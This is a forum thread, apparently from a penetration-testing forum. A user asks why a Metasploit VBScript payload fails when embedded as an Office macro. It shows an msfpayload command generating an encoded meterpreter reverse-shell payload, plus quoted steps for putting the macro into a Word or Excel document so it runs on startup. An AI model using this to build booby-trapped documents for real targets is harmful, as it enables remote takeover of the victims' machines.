Results 1 to 1 of 1

Thread: VBScript Infection Methods

Threaded View

  1. #1
    Just burned his ISO
    Join Date
    Apr 2010

    Default VBScript Infection Methods

    Hello there!

    I'm trying to inject a payload vbs into an excel or word document as described in the Metasploit Unleashed article. But I just get the errors as the guy in this thread. There seems to be an error in the line

    Dim GENERICNAME As Paragraph
    I tried office 2003 and 2007 without any success. Installing and updating MSF3 via SVN, as someone in the mentioned problem thread advised, didn't work for me, exactly the same behaviour.

    When I execute

    ./msfpayload windows/meterpreter/reverse_tcp_dns LPORT=xxxx ENCODING=shikata_ga_nai V > payload.vbs
    I get the output, which tells me to copy the macro code into the VB-Editor and to append the hexdump payload data to the end of the document. I don't get the last part... Do I have to copy-paste the hexdump just to the end of a, for instance, word document? The error I described above occurs anyways. :S

    '* This code is now split into two pieces:
    '*  1. The Macro. This must be copied into the Office document
    '*     macro editor. This macro will run on startup.
    '*  2. The Data. The hex dump at the end of this output must be
    '*     appended to the end of the document contents.
    What am I doing wrong? Thanks for help, guys!

    If my problem's too special for the beginner's forum, could a mod please move the thread to the expert's area?
    Last edited by Archangel-Amael; 04-20-2010 at 09:02 PM.

Similar Threads

  1. Replies: 4
    Last Post: 03-04-2010, 09:26 AM
  2. why many methods to start networking ?!
    By code1101 in forum Beginners Forum
    Replies: 7
    Last Post: 02-13-2010, 12:53 AM
  3. Alfa AWUS036H with BT4 beta WEP/WPA Methods
    By LinkinX in forum OLD BT4beta Working Hardware
    Replies: 4
    Last Post: 02-27-2009, 09:32 PM
  4. [16 Videos] WEP/WPA Cracking - Diffferent methods!
    By some1 in forum OLD Tutorials and Guides
    Replies: 8
    Last Post: 02-08-2009, 08:50 AM
  5. Pentester's Methods are needed
    By domi007 in forum OLD Pentesting
    Replies: 3
    Last Post: 08-11-2008, 10:57 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts